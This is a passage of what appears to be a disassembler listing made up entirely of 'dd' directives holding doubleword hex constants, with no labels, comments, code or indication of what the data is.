dd 0E59AC98Fh, 54EE6Ch, 2991A7EFh, 64B986B5h, 4781FA00h dd 83609B37h, 0DAEE3F63h, 7FDB48h, 21D4B654h, 4D58E871h dd 0B4ECED00h, 0E385F09Dh, 79F833h, 4F97011Fh, 0AF1C581Bh dd 5E5B7D00h, 18EFFC5Dh, 0F331FE70h, 0D8CBDA94h, 0BCDA9F05h dd 0D59480B5h, 6500E207h, 1796F813h, 1D42E4Ch, 86BB23AFh dd 0F08DDDA7h, 47E821CCh, 0D13A1A00h, 0BC9594Eh, 340D005Ch dd 0A53E2B0h, 50B88D65h, 4AEDAB00h, 0B791A9ADh, 0DC801DF9h dd 8A0780CDh, 5E2F327Ch, 1AD69916h, 92A06400h, 7EDED5h dd 42E70C8Fh, 9B0A3940h, 2ACC9500h, 1D317BFAh, 0DFEA16F0h dd 1EA0019h, 0A6E3A468h, 0C648h, 50EA34Ah, 1C22F9DFh, 0E6625F5h dd 45E4EBA8h, 0ABBCC0D0h, 0A0C910Dh, 108832AEh, 9773065Dh dd 0DAB3F75Fh, 6B4E2A03h, 0FB8A19E4h, 49F3A0EFh, 4C650074h dd 0E3FDCA5Eh, 9E00F252h, 0BF6A55FEh, 3FDEB138h, 3FCC85Ch dd 772706FDh, 990373F5h, 6D72E687h, 981100ADh, 6ED8AEDDh dd 0E4C1EB26h, 104BA838h, 0F27787C4h, 2C2D00D3h, 413D3493h dd 8F85201h, 0C742548h, 48C71439h, 0AEC90726h, 41E4929Bh dd 31730128h, 6906EB30h, 249E1290h, 0F1697AE8h, 1143F4h dd 2F920EE4h, 0A6741230h, 0CB00B390h, 8E10B2Ah, 0F06F48h dd 5185E59Dh, 524EC233h, 0D294C701h, 7C1F3CA1h, 2018FCh dd 0DBF1A5A8h, 0ADCE8E90h, 0F803D2B8h, 41F73475h, 728B8007h dd 0A62C0AB9h, 7C05A5Eh, 4142DCF2h, 0E8B2AFCEh, 0E90413F3h dd 530FA9Ch, 51100C80h, 19783BE7h, 0D8057FDCh, 749F00Ch dd 30BD4CA4h, 7DDF09B6h, 47E3B316h, 8CF20040h, 5DE981Bh dd 0F3E7C1F4h, 798400Bh, 380B9A0h, 4E680F0Ch, 0BF88C2h dd 0F830989Ch, 65831CFBh, 0AD003F7Eh, 0B463AF7Dh, 3E992884h dd 7B0E22A0h dd 7F9E0425h, 1EFD8F01h, 80EF5539h, 2656F5D1h, 9A266AAh dd 11DB3503h, 0DE0E48A0h, 980097D0h, 510BC89Fh, 30DC05A5h dd 9920764Ch, 0E307C703h, 96E94D94h, 0CBAB1C80h, 0B880007Eh dd 0D477637h, 98008639h, 0DFA5E538h, 32D6644h, 0AED2A609h dd 76C0016Eh, 5C00D349h, 86B29F78h, 3F808E03h, 0F0897BEDh dd 0C900C302h, 1DA7E36Bh, 0AD0EF02h, 0E07648A0h, 1FADF2Eh dd 0BD938099h, 0E8192FB9h, 7A000F5Bh, 95666A25h, 0BC35B0h dd 0D7060B48h, 7B083830h, 0F900C47Ch, 1E39423Dh, 6D3BE5h dd 3463D26Ch, 7FC8F68Bh, 112E9600h, 4D512C4Fh, 0B9500033h dd 0A1A419B8h, 4B30E5FDh, 0DD29D09Eh, 961C1CD8h, 3186401Fh dd 0CCDF34AFh, 3B6C5700h, 0CA0FA009h, 0AC7C48h, 4D4483C5h dd 0D3D2253h, 0D9009CF8h, 3C14382Bh, 6EE326h, 98314A63h dd 0FAA0922Ch, 354BE100h, 67798B51h, 6B880093h, 2213594Dh dd 300060DFh, 0BA8CE544h, 7180169h, 282E7539h, 5C46433Dh dd 71E2000h, 0E45D33DAh, 602504D1h, 0C0C95B96h, 8E15DB0Fh dd 51B328C1h, 0C5C82A44h, 8A53016Bh, 0ACDBCD6Ch, 0F784FCA0h dd 505BE230h, 2276C5h, 0C65EE371h, 0DBB7A985h, 61D3F7Ch dd 98308E99h, 0F6A4BAE4h, 0CCAD03E2h, 0CE1DC319h, 20DC36A7h dd 0A5146600h, 232D42E6h, 72910024h, 566B6A28h, 1801618Fh dd 60F5FC4h, 0F8BF5ABBh, 8148B481h, 80AB0A5Ch, 75A58F08h dd 0B95FADh, 915333ACh, 8EDBC173h, 20F41907h, 3CE0CDA7h dd 858D25h, 0D8B85A40h, 0C7EC1C54h, 1FE8163Fh, 6600D66Dh dd 2F439F5Fh, 67DC00B0h, 85E1289h, 5C009DEAh, 93054D0Ch dd 8D84CAh, 0DFB5577Eh, 2F99F603h, 8AE3B3Fh, 0D4A45BB2h dd 508E553h, 9675F8Eh, 17B8046Ah, 38A0EA00h, 11A27404h dd 66B9300Ch, 6B45220h, 781828C0h, 2CC3907h, 6C5EC17Ah dd 37C0B36Fh, 0DA0F4745h, 808F4C2Ch, 75898652h, 8CAC3E5Ch dd 0EA006558h, 0E04220F3h, 8EE4A35Bh, 9B25B21Dh, 0B4A01700h dd 744EF69h, 8D439598h, 7DB7B0A1h, 20C01465h, 39CC3A5Bh dd 60742930h, 834C6020h, 0C84924Ah, 957180FEh, 290008E0h dd 0E7C8D036h, 9514E85h, 6C91EB2Ah, 0EA74F855h, 0C0EC98F1h dd 0D9BB6331h, 4700A83Bh, 246A64F7h, 3554857h, 23D25F91h dd 0D198B2A6h, 0AF3D0607h, 81A4D48Dh, 9C63C628h, 86D658h dd 6D827B60h, 0E2B9DD5h, 3874EB1Ch, 0D898D1AEh, 0FB3013ABh dd 6C4778DAh, 79290078h, 8D821007h, 0C41F9826h, 2EC19609h dd 0DEA34746h, 552C7E0h, 7FE0E37Ch, 5F884581h, 0E79100AEh dd 0FDA41D26h, 1AD0A202h, 0A1028374h, 5D522BF4h, 586A82C4h dd 8100C3CFh, 8C6E1C4Ch, 78ECC136h, 0E48BE528h, 4C0030D2h dd 9E134E47h, 84F2FAh, 51D22521h, 70189C1h, 568358C0h dd 0E46A0205h, 0EDAE58EFh, 0D2409831h, 1C8C501Ah, 59F0AC22h dd 0E376DB00h, 0A6CABB6Dh, 5C540038h, 16AD9C3Eh, 1403E6DCh dd 0CC150ACFh, 0A7601C04h, 2191F32Eh, 0CFEA5DF8h, 51377D00h dd 6B49E3D8h, 3D177894h, 33E361Dh, 2A902028h, 1DE8B332h dd 7C3F34Ah, 90023B30h, 2247D7A9h, 1001BA03h, 8EE8FBA0h dd 4F911271h, 7835003Ch, 0D3FCAA28h, 32E8EF63h, 0A7890B9Fh dd 6880C849h, 0D242FA30h, 0BD007B74h, 627EFF56h, 541DF965h dd 18A8CCA1h, 60DB01C0h, 0AE49B2ABh, 0CCD200A8h, 51CEB45Eh dd 81E16F0Eh, 8CFBA7h, 612A0A4Ch, 0B087FE00h, 0D2C0555Fh dd 0D5161869h, 6E098951h, 818A903Ah, 95AE635Dh, 0D459F0BDh dd 5220B5C8h, 9200A0ABh, 32BC0109h, 0CA83193h, 590C03B7h dd 0B07C504Dh, 0C561C05Eh, 0EC1228Dh, 1F48B490h, 52772E28h dd 0B1619900h, 6284938Ch, 2F0C4963h, 49FFA490h, 0AD1D0BFEh dd 7741AEAAh, 0DA9785B2h, 682B8452h, 18BF5F30h, 39E98623h dd 0E006CDBh, 0FD5FBFEh, 0CA6A84EDh, 0CD7A28h, 9479D1F1h dd 0C73FD082h, 0D2C3805Ch, 8C27EDBAh, 0C2F8A820h, 4E264h dd 3C9A16CEh, 6121E848h, 0AA8FE901h, 0DFE7D2Bh, 3BBBD3C0h dd 1AA931FFh, 0EEB68480h, 1B0052A8h, 0C94AAB4Eh, 0AF9E0026h dd 0EC972731h, 0BE66804h, 0C39D1F0Bh, 10D4898Ch, 0E24038h dd 0EFC66CD8h, 0FB5DD73Eh, 76E50C00h, 575E2704h, 0D5812479h dd 1C5812Ch, 0EC265475h, 0C90017A4h, 502F6955h, 7D025765h dd 0FA9C12F5h, 51D007BEh, 0C82EE087h, 100371D6h, 75DF8C6Dh dd 5B7DA193h, 0C28DC450h, 503490FFh, 3B3452h, 0F0DB0B9Fh dd 7E1B829Ah, 13A4DE24h, 989C823Ch, 605A80D6h, 989AFDACh dd 4CB30050h, 279FC235h, 7E008F7Ch, 0CA6BC967h, 48E6AF0Fh dd 0B6E120B0h, 938C4C9Ah, 8E68187Eh, 5C9F499h, 0F020E738h dd 352103h, 0CA95E842h, 8ABD9806h, 0B76F0E00h, 0CE925667h dd 0C5E407CCh, 24A851C7h, 62209169h, 2342396h, 0E7D591F5h dd 68C468C9h, 722100F9h, 0D3C274CFh, 13035D7Dh, 7A70F040h dd 0CBB8B0C9h, 1A85F6Dh, 0AF1904A4h, 168AD8D3h, 768D7700h dd 6F436C54h, 92C00046h, 0DE99B3A9h, 490F4070h, 0C22777Ch dd 0FF71AFh, 436E5B2Bh, 0A47155B4h, 8D9A7500h, 0DEE03BC3h dd 0CBB301CCh, 89E4CD88h, 6E409D4Fh, 0C0BFC54Ch, 0D7B109DAh dd 1890D14Eh, 0A880F01Bh, 345B588Dh, 66AA84h, 69EA1EF5h dd 0B7EA38h, 27EF6E31h, 89CEEE1Bh, 37FBA300h, 0C02FFA85h dd 0FFB513F1h, 53106064h, 60C7044Fh, 4AE034E5h, 5B4E66h dd 0C169BDDEh, 17224DEFh, 810A507Bh, 8472D9B6h, 0FE860A43h dd 0A7FF0E89h, 2D80B195h, 0D99F6CD7h, 88206C98h, 53840003h dd 0E40D223Dh, 895025DAh, 7C00D33Ch, 0F9E9D1E0h, 3B43ABCBh dd 4107C599h, 5CD867Eh, 91944A85h, 920660F4h, 4745BFAh dd 516F4700h, 4578898Bh, 643A0739h, 51B7B9F7h, 242827AFh dd 0AA3C29CCh, 0C0CD5Ah, 5D5B65EAh, 6C3DD5h, 8FD2FFFAh dd 9F801532h, 95BEFB05h, 94040B1Ah, 5490230Eh, 265DAEh dd 0A1505AE8h, 98647CACh, 2B6AF3Dh, 0E6D8BD72h, 50104C86h dd 0DF4032h, 0A553B743h, 27211263h, 0F8DB4E00h, 0DCAEFCF5h dd 12ACE84Ch, 9B2D25h, 9182FBC0h, 88045836h, 898E92F4h dd 5E8DA0D0h, 0CBBC039Bh, 222F4A06h, 0BE811912h, 54404441h dd 89D85B10h, 0E9D00C3h, 0A6E7F706h, 5700AD97h, 3279395Dh dd 4CB7283Ch, 0F900F019h, 0F30CD2BAh, 84189B45h, 0BFB89027h dd 0F814132Eh, 0CD940EFBh, 40822D6Bh, 48481CA2h, 0DF0001E9h dd 0C6494525h, 1CB176C4h, 80C789DBh, 0F0B6E6CEh, 1F09A8FFh dd 19CC8CF1h, 0B180CA10h, 7338E4D0h, 0DE028375h, 0CB7170DCh dd 0EEA441C5h, 0BB03B072h, 0F6B879A2h, 87D0A3D0h, 356C8400h dd 752A5FC8h, 4218938Dh, 0D0642EF8h, 0E8180F00h, 0DAC0742Dh dd 0D4550020h, 4D2291B8h, 2C04E58Dh, 6B3DFABh, 0A2394702h dd 0C0C4E0CBh, 0E17E95C4h, 6F4C2C00h, 77B39493h, 0E62D0A68h dd 4070FAB4h, 5BA669A8h, 0CD5A49C7h, 1E095C10h, 89AE3CFAh dd 4218D9E0h, 75602873h, 1CBACB50h, 0EEA91DE4h, 17024E8h dd 68D720F1h, 468034C3h, 0A04CC85Ch, 79A56CBh, 17B99849h dd 40FCC7CDh, 0A9096CFAh, 0B8C0F4ACh, 0FFB6A69Ch, 63240261h dd 515BA39Eh, 1F14F04Ch, 0C78434AAh, 0E7AE106Ch, 2E02CEE2h dd 5A74A4D7h, 7B5F9090h, 361F0332h, 0BB2AD72Bh, 0E0A84CA0h dd 89889F5Ch, 14748B84h, 4C5D4C88h, 52A0C5h, 0B2F2590Ch dd 0DC07AD98h, 27AE92Eh dd 3D2D870h, 53970167h, 0EBCD76B9h, 71422A2h, 5434400Ch dd 0E223E810h, 0E6C63DCCh, 15BB4100h, 99516CB2h, 474DAE04h dd 58A0392Eh, 34579E4h, 0E8734E2Fh, 0C1A1688Ch, 0B5EFC4B0h dd 244C1602h, 40CB2BE9h, 40289184h, 747AA752h, 49253E0Fh dd 0AA9D6051h, 4DCA7B23h, 0D8804A4h, 48D9B880h, 0B3EC5Bh dd 0A9DDD00Ah, 716EBE2Eh, 0A236B000h, 1E6CA888h, 8D3F0077h dd 0C79CF90Fh, 6700EAC0h, 0DB71F665h, 276EDB0h, 7EF4313Fh dd 56E055BCh, 837282A5h, 0D6A03E7Ch, 3200D917h, 7995C842h dd 44E246Dh, 0C119DB22h, 877C803Dh, 48C1D350h, 3B11CA1Fh dd 0D17800D3h, 0FB6A7C08h, 0A50C7D13h, 28BD3AE5h, 0D39B0FF3h dd 9320C154h, 7F9199ECh, 0D5163E03h, 31A5F05h, 7084B841h dd 39003B13h, 3561F285h, 2CC55ADAh, 0C871956h, 0E63021BEh dd 0BD187EFh, 2EA0711Ch, 15B45D4h, 0AE9EE8FFh, 0F02FADF9h dd 94004C73h, 0A5333405h, 3174B86Bh, 0C4C08FC8h, 0D71D1031h dd 6DDF28EAh, 0CDD21C98h, 8AB0623h, 40009169h, 3343E5EEh dd 2A32098h, 648DDC71h, 88A0BAB6h, 27F9629Bh, 95B03900h dd 2D5D352Bh, 88450FD5h, 208EA6C1h, 6B9E6CC1h, 913FFBC3h dd 0EC41636Ah, 779800BBh, 0F1E34B43h, 3E0F02E1h, 40750A95h dd 9A070C64h, 483D00EEh, 0B16796FDh, 5003E08h, 1E7ACA25h dd 765195Ch, 97C7F202h, 0D4ED4049h, 521B6ED7h, 0A06190F8h dd 74C9A2Eh, 0DD16E8CCh, 0D3D5C01Eh, 3F7FFE56h, 0EB790E02h dd 4449DAF1h, 0B867681Ch, 0E0B041F0h, 3DB98F6Eh, 0B6F42136h dd 0A1600546h, 4CD10186h, 5F7B01ECh, 3A06E471h, 12D86001h dd 0D18C4353h, 0C3ABA09Fh, 30321545h, 41E69800h, 140ECF3Dh dd 102B0390h, 3BCD60EDh, 0F8D986BBh, 4528802Dh, 8B6DD336h dd 359E0F0Dh, 0CB00289Ch, 6370BA6Fh, 5007D2FCh, 5451BFF5h dd 0A15CA553h, 8051C253h, 6C42ED3Ah, 7884CF3h, 0A69050D3h dd 2322901Ch, 3002D58Bh, 0F4CEDB6Dh, 0F52084C5h, 8CB86822h dd 40E3D39h, 0B20FAD59h, 583B3040h, 9807F5h, 0D23A086Ah dd 0ACDD7B05h, 0C98B9201h, 34062394h, 41659C20h, 0D4ADC78h dd 0B6C1E80Eh, 0B25E6028h, 4665F8Dh, 2407BFF0h, 2868972Ch dd 0DB289787h, 0F0E80EC0h, 1484246Ch, 0C31E0CB4h, 0B0010221h dd 9373DEBh, 83F228CFh, 0A41CBB68h, 375D8C00h, 0E014F1Ah dd 0CA276EDAh, 0B061C75Bh, 0CC89D440h, 9C8849BFh, 7BB1D602h dd 28462F1Eh, 6EA0C213h, 0E0F2484Fh, 9319E32Eh, 9F5A00A7h dd 4F9DE2BAh, 1700BC31h, 0E7C5A813h, 0A0D66B87h, 75F4864h dd 0CD9C28AEh, 4F04411Eh, 132420F7h, 0ACBC1A54h, 0B016D800h dd 0EF3A7830h, 3060A220h, 0E8B0A8h, 0A3C3EF4h, 0DFF20526h dd 3C9649h, 2B9B853Bh, 9C74DA2h, 0CE43AD10h, 77C19C81h dd 0FE708A31h, 299FC836h, 3D19DFDh, 0A0CB0A4Fh, 4ADF441h dd 0B0DF0185h, 0D0A44052h, 1E2433D9h, 9C68131Ch, 0FF87EEDCh dd 3850E239h, 3A87A2D6h, 13807534h, 1B0E33A1h, 3B00AD76h dd 0BD09EA96h, 242590B2h, 9B66D08h, 0B820D784h, 78963EC0h dd 0A2926424h, 0EEFD5200h, 4C830607h, 0F7C9B043h, 0A1152890h dd 0BF61FC1Fh, 54838A80h, 26D4DBC6h, 181D92h, 463A0BAFh dd 804DA40h, 0A177BFEEh, 9E6BEB81h, 9F1F8050h, 0F9EB006Ch dd 7B6ED684h, 24F5BAD3h, 0E02CD11Ch, 75802481h, 4FCC783Ah dd 21AA00CBh, 266AC19Ah, 0D600D8B9h, 27AC5D41h, 730E5E61h dd 14C91004h, 627A7231h, 14282D3Ah, 8EFC1BE4h, 68274CA9h dd 0F5BF0138h, 5A16A87Dh, 0F787D855h, 0C070D94Dh, 11D466C3h dd 5854B242h, 0EBB01CBDh, 6F07498Fh, 4624968Ah, 8C04ED70h dd 3770012Ch, 0FD7C8343h, 2006210h, 24C8D877h, 0BB2C6059h dd 0CC09023h, 0BC1043B0h, 0ED0FDB79h, 607C66F8h, 78DA8AC4h dd 9BFA00C0h, 0E5F08BEh, 28EEDC29h, 0C8983449h, 924B8469h dd 36E9C052h, 80F5025Ah, 475E632Eh, 0F8D43073h, 68992ADAh dd 5C330088h, 0AD009B7h, 1B2C8A3Ch, 6BC1C485h, 0CC5183E2h dd 80C29097h, 60CD2968h, 1C492411h, 0F45415ACh, 0BF1726h dd 0E333B307h, 26039745h, 60AC3476h, 0EAD4819Fh, 941FEC33h dd 49EC36Bh, 690039D8h, 1EB39822h, 9352CBh, 5660E35h, 34C5BB0Fh dd 4B2D0202h, 867B3D0Ch, 0F7938B0h, 0F0AEACE6h, 8AE2F120h dd 8505C374h, 39EAE38Dh, 0BA71E7C3h, 0D09C9B35h, 2B38F21h dd 0CEDAD996h, 24C9E71Dh, 5068EAA0h, 8030949h, 0B0866A73h dd 0A4FCA016h, 305F4988h, 8CED9984h, 0A924969Ch, 4C9E6CCAh dd 65900B00h, 7703759h, 718F6C0Eh, 28C13318h, 605A19D9h dd 0FC07B7B4h, 984773FAh, 0A893F0B0h, 3E533C03h, 0D8229007h dd 0C12EE4C0h, 6735ACB0h, 3E5116C0h, 66FBC30h, 0BE7B01D3h dd 63D13113h, 60FDC509h, 0D2F8AAF0h, 38A8456Ah, 9F31E930h dd 872A0BC5h, 2890A197h, 0B88190A4h, 0C0DBC4E9h, 0B1158D43h dd 6FCA00A4h, 3E2BF360h, 0A04C2600h, 0F481B8DDh, 54590B31h dd 0D8B044F2h, 1E446137h, 0FD30723h, 0A250AD6Ch, 0E4A940E6h dd 375C6607h, 8D13D0D9h, 74008C3Eh, 0FD85EE0Ch, 28EB964Fh dd 0E8DBA9h, 0C2A06928h, 619CEF5Eh, 4AEA3Ah, 0F1F417BEh dd 0BD0970Fh, 4D114135h, 0A913DF00h, 52032795h, 233CBD1Bh dd 0F23000EEh, 0CCA0F8ABh, 0AD2CB654h, 650CB311h, 12BE585Ah dd 0FAE84A45h, 0DE88FD00h, 0F61BCD8Dh, 9D083051h, 3A292E70h dd 6D6EDC00h, 2D160136h, 0BB7A8Bh, 0C9B4D372h, 0EE17D7ADh dd 0F6F9300h, 104BFEF2h, 0B11A0007h, 3F742C8Ah, 0B861920Ah dd 16296129h, 0DCEBA080h, 0B404D25Ah, 7CE5900h, 0A9A5837Fh dd 89971FF1h, 2DE70E9Dh, 379C3898h, 0B518E5B8h, 0CC163FFh dd 2CB35669h, 5593A200h, 12ED4340h, 0F016D7Fh, 0F0E5C87Bh dd 0D220A563h, 6B8E00CFh, 0DB1A50F7h, 0DC056628h, 0ACCD0C73h dd 7998280Dh, 5EB1FF4h, 5AA90957h, 0F435C069h, 0F20039BBh dd 6563779Ah, 5826F64h, 0E3B41419h, 56C0456Ch, 61DC474Bh dd 89650057h, 6E002E7Fh, 0C43D6009h, 7722F5C2h, 0D4DC0CD6h dd 8B31DF55h, 0D5FAF400h, 6FE083F6h, 659F0748h, 6EF111CFh dd 4E9AD080h, 5F006A5Dh, 0DC6BFA82h, 634D345Bh, 0EC9409Bh dd 0D6E4C900h, 5D6F055Eh, 965B3FE1h, 60456501h, 584E3198h dd 0CA1DF780h, 2104C06Dh, 0BA40D13Ah, 0D88285FFh, 0A36E3400h dd 6B2B1F8Bh, 20D6A0EFh, 0EFC7127h, 0D03CE6AAh, 4010F189h dd 80E6DF7h, 0C3334CE4h, 1C49DE5Bh, 40BBD1E1h, 36EF3025h dd 38921559h, 0E51C0700h, 5BDEB8C0h, 0BC18A08Bh, 889160h dd 41350CDh, 560C3EA1h, 0C043928Ah, 91A3058Ch, 46F4106h dd 24345DC4h, 0A0498C20h, 0A19E003Eh, 0DF233BC3h, 5F619814h dd 6E4C9572h, 3386822h, 0D825F381h, 0FC451D73h, 0C102979Ah dd 4FB0ECC6h, 938760F8h, 0C03652F4h, 0C910F118h, 5CFAA3CEh dd 0EBB2600h, 9FACFA99h, 0B3EE0CB4h, 82D9D148h, 0CC05456h dd 409A6156h, 153458E3h, 242F7203h, 10F8F12Ah, 54018D78h dd 1BAB37A7h, 0E180595Fh, 661ABD8Ch, 0BA0047AEh, 3C404912h dd 0A9EDF05Ch, 0F2E45AA0h, 526C00C0h, 72703EC2h, 0A804C6CEh dd 0C9F753C1h, 375B448Ch, 0C2C914F0h, 888074E8h, 0F76E2ADh dd 4C8B5700h, 0EF3CF65Bh, 0C80A0ADBh, 66644D5Ah, 9A3C79E9h dd 0D83780A8h, 71FFD00Ah, 8DBC38E8h, 61AFA105h, 0D4E030F8h dd 7668CA0Bh dd 52189471h, 7FFCC2E1h, 840C9989h, 806841CEh, 0CF8C792Ah dd 0BFA940Ah, 0FF04FC2Bh, 8201EF5Dh, 32D868E7h, 0BF9F0020h dd 146E2955h, 0A33214E0h, 3080D811h, 0BBD66418h, 9EE25205h dd 86002AE3h, 0A37AADC4h, 0B2D025Dh, 5AD4724Eh, 5A05C8Fh dd 33C05915h, 40D0A100h, 2214D2C7h, 40F1F60h, 310C0BFh dd 48C91958h, 69CF010Ch, 0A2213Fh, 95AC8879h, 0B5A1057Bh dd 564719C0h, 0F19B50h, 0CE5D82CDh, 5437ADCCh, 5300017Bh dd 0A6457005h, 68F8EEh, 239D8A1Bh, 0C75802EBh, 5F0741Fh dd 8040B040h, 0F004B392h, 3E1B309Dh, 47E61D60h, 9F570900h dd 389C3A3h, 0F940FB8h, 4BA0FB6Dh, 0F32F7F9Eh, 5790B00h dd 5D6E15B0h, 1DA1070Eh, 805134B4h, 240AEB2h, 9DCD3700h dd 0B05B067Fh, 0BD9700C0h, 0D5C73DA7h, 0D0C657D3h, 8F84Ah dd 56B53103h, 5C34D911h, 9772FC00h, 4E8D41B1h, 0D68000BAh dd 40CBFE69h, 530017D4h, 402A362h, 6D6058h, 0E1F982D0h dd 0AF81033Bh, 5111C60Ah, 59008C44h, 299EBDC3h, 22F81DB6h dd 667703B4h, 0A80AAF06h, 8041F09Dh, 4794F207h, 59B54F30h dd 8C54547Dh, 3C311406h, 598270FBh, 0E08CC989h, 25666620h dd 7F60B8C9h, 0A6830748h, 33AEA81Ch, 21005945h, 0BCF35577h dd 4B8A024h, 87DF7E07h, 931880D9h, 28FE3320h, 136F880Ah dd 2F8154C9h, 0EC48A67Ch, 0FC45EC41h, 1A051A6h, 0F18F1F94h dd 0CD76D8D6h, 322CA005h, 90400DA8h, 0C1C0F775h, 0E81600F9h dd 0DC72F5B5h, 6831FCD9h, 0B1605820h, 3FA991h, 36F0352Bh dd 7BB02F30h, 0E3D01E51h, 88CEC43Bh, 1B48903Dh, 0F105DD33h dd 86AD7DD2h, 89360C00h, 3EFAB2Fh, 0AC07056Fh, 58735B76h dd 9CFEA62Ah, 31E7A830h, 0FCAE154h, 14EE019Fh, 9C304FC9h dd 2284CB69h, 86F802DBh, 2484D0AAh, 28DC404Eh, 690AD9h dd 2EA29079h, 0EB07648Ah, 3A05E190h, 0ACA0887Bh, 0AACCB81Eh dd 64DD3955h, 8058085Fh, 19AFCA16h, 83144C01h, 441CEFE1h dd 593EBC40h, 2AE92494h, 74C18C0Ch, 0B491DDD9h, 35AE9900h dd 1886863h, 9EB06F9Bh, 23424B98h, 313870CCh, 0CF4900FFh dd 7015B7F6h, 9DF02B8h, 0E634C73Eh, 995E78A6h, 289BB0E0h dd 8DB57F88h, 0F8C94D4Ah, 233DAE8Ah, 1EAA0043h, 5331F409h dd 1688B8D3h, 170CAFAh, 0A8068A2Eh, 0A24180D8h, 7AB80CC9h dd 768D65E9h, 4F8E00F1h, 518758C5h, 0B090767Ah, 0E900F3FBh dd 66D814BFh, 0E80A7C48h, 7790191h, 0AA9426FDh, 6C2381h dd 0B9331796h, 865BF8h, 3B790676h, 8A63CFA9h, 0A18C1491h dd 0F1491E2h, 0BA9FB007h, 0CB1AC0DEh, 0E59AAAF0h, 0BC887700h dd 0B80574C3h, 0F22B7C15h, 3198A4E1h, 9DA1C7A5h, 2B34244Ch dd 0B3C0D500h, 15442473h, 4E548DBh, 10BE3411h, 268CEBBFh dd 57006641h, 4DA16DE8h, 39829972h, 6CD6FFBEh, 1507D700h dd 326B77F4h, 0AD8D5700h, 0B02461FCh, 2884933Ah, 0BDC0005h dd 0B5517237h, 0E7605006h, 198D1E79h, 4CF6EBACh, 5B7A20F4h dd 49409B00h, 1FFABCEFh, 8A220088h, 0A095D4D6h, 11007E39h dd 0DCA1E016h, 9147999Dh, 0EDA40088h, 1E2C6B48h, 0F2BBB400h dd 0F53CD120h, 0D990C976h, 7C6F5C10h, 20E0C903h, 8546372Bh dd 77F5D980h, 0F9480090h, 0BCA681CCh, 9D58B0B4h, 0A0502950h dd 0AC24C108h, 0F029B6h, 70711809h, 7D1DFAC5h, 61DEC1C4h dd 9350E5C9h, 0B8788028h, 404701Bh, 1838C775h, 4D8898B3h dd 9DBC334Dh, 0AF41FCA4h, 0EB102046h, 0C4017757h, 0F4C7C20Eh dd 0D980D0D9h, 6A5DEAC1h, 86007907h, 1403359Dh, 0E6FDDB67h dd 0A891CAEh, 4954EC41h, 5485D209h, 3030889Dh, 0B17CA400h dd 15D06661h, 60515416h, 0ECD558CFh, 4C45A5C8h, 86835BC0h dd 895201BEh, 981ECB7Dh, 0F7EC4363h, 0EC44B907h, 619FF597h dd 88378185h, 1416BDCh, 13070BC7h, 624F2055h, 1371330h dd 0FD4C0470h, 0E4A25248h, 3F80E000h, 0DC351A98h, 0A00D876h dd 0A688B3E7h, 9827A124h, 5B7420F4h, 0B94BD800h, 9B6E106Dh dd 26ED00C1h, 0AAA6F3DBh, 0AD768386h, 0C089752Ch, 417C263h dd 450A4A98h, 47F9404Eh, 358E4BDh, 32963E1Dh, 0C0DC2ED5h dd 45AC9A74h, 150AA524h, 0E0813134h, 5FE813BEh, 6F8CA6CCh dd 1009973h, 44F634FFh, 0D755AB00h, 523FBA36h, 17217EACh dd 627FDFB4h, 78C49D38h, 0E227F713h, 7601F716h, 0C8544C2Ah dd 3A6C76C4h, 1C30C68Bh, 4FA1DF78h, 28539524h, 7E40BD9Dh dd 4E5188FBh, 267898E0h, 0C0DC492Bh, 2DD4FE85h, 0A7EAB14h dd 8060CFA4h, 0EEA835D0h, 8B7C0022h, 3B4DBF85h, 0E0011451h dd 7BAA7FBh, 13012CBh, 0E270916Fh, 0E4A0C5DBh, 0B8B04350h dd 7D4FE000h, 4E16B1C0h, 0F09B758Bh, 4C5A017Bh, 90AA3238h dd 634024E4h, 0CBEBCA0Fh, 2A292055h, 147D0A0Dh, 0FCA2CCA6h dd 0A8248358h, 6E8E436Ch, 5DA77E80h, 0AF52B300h, 67868ABh dd 704058CCh, 2B6F8311h, 7B0B842Dh, 6EC410DCh, 11F9005Bh dd 396AA889h, 64908B01h, 0E80C7629h, 0DBB0C787h, 0A0FFF600h dd 703D07BDh, 2D2A58h, 0AA0882F3h, 708CAF56h, 0D9CDA837h dd 0E4967170h, 25360072h, 32D90C70h, 5B49AC0Dh, 0FC0A1728h dd 0D1DBD061h, 0E5B9A450h, 0E44B3D75h, 96DF8400h, 8E8802Bh dd 2816D472h, 8423A377h, 2FBC0CAh, 3F6F000Ch, 0F1C74A89h dd 9900B7A0h, 0F73C6A4Ch, 9152071Ah, 0B91302C8h, 7D04650Bh dd 62D270A0h, 0D60451E7h, 9E14E0CCh, 5D8C2F4Fh, 9DD007Ch dd 946C423Fh, 0E5D303A5h, 2FC2CC7Dh, 669D87A9h, 0A7506538h dd 0E0D819C6h, 0EF210473h, 0A446D551h, 381F9A08h, 0E5402308h dd 7E81403Dh, 234F69Ch, 606D83A6h, 0E0E690ADh, 0B117C09Bh dd 0D4CBC60h, 0EC994Bh, 15BA7A2Dh, 7832887Ch, 0E4A190B7h dd 0A30A00CCh, 0A052D025h, 7F0BE69Ch, 4779D5Fh, 14900930h dd 0B1A7293h, 9CE937DCh, 0D2F6EC03h, 4107803h, 9EA58C1h dd 0CA83C7D8h, 0F8B19464h, 63896B90h, 629F4018h, 0AEE67177h dd 96C5FB00h, 0B54F3CFFh, 89D499A9h, 0F4489CE1h, 0D5025BF9h dd 9D8D8A1Fh, 161448CEh, 0DAAF38EAh, 0F1800FEh, 3080B9A5h dd 0D97C9882h, 7DA09F00h, 0C47E0839h, 0BDAA14A2h, 547554D8h dd 3A9DCC78h, 17C0869h, 0E9A8EF47h, 0F531507Dh, 0F2E0F4FDh dd 2BDFBF1Dh, 540DA4C2h, 5D8066D7h, 7827041h, 2C5A235Dh dd 0E5B22A00h, 370A6411h, 83180032h, 0E6FC6651h, 2B03023Bh dd 475A63B2h, 0A88118A4h, 786A1D1h, 0C5A19200h, 2A845ACDh dd 265009D7h, 0EC3087E3h, 0A0B9D9EBh, 0E247CE00h, 0D726C0h dd 8AB91FB0h, 0D9747C27h, 0FF74DF77h, 24EDE44Ch, 6E4778A2h dd 7239320h, 0BC6D24A7h, 608CC8E8h, 84903F93h, 116B4300h dd 0EB9645C1h, 5D044899h, 0CFC8A405h, 784D813h, 99CB20B8h dd 0F130909Dh, 1D7C43h, 55617EFFh, 0F6F3A70Eh, 648088B2h dd 641EA432h, 824F90D4h, 2657E054h, 0F14452Ch, 0A67CF6D3h dd 7D4C172h, 89CC38DCh, 0F44848A3h, 71450106h, 14F97CD4h dd 0FA6AC474h, 0B8829925h, 1439B7E0h, 78A386DDh, 8DD46A0Ch dd 37001E62h, 51B309CAh, 